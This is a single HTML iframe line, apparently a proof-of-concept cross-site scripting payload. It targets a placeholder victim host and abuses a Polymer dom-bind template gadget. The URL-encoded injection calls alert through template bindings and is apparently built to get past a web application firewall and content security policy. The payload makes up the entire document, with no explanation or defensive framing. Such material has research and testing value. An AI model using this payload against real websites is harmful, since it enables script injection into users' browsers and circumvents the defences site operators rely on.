<iframe src="https://victim.example.com/repo/waf/modsecurity/repo/csp/sd/polymer.php?xssfilter=1&csp=none&inj=%3Ctemplate+is%3Ddom-bind%3E%3Cdiv%0Ab%3D%7B%7Balert%28%271337%27%2CownerDocument.defaultView%29%7D%7D%0Aa%3D%7B%7Bset%28%27_rootDataHost%27%2CownerDocument.defaultView%29%7D%7D%0A%3E%0A%3C%2Fdiv%3E%3C%2Ftemplate%3E"></iframe>
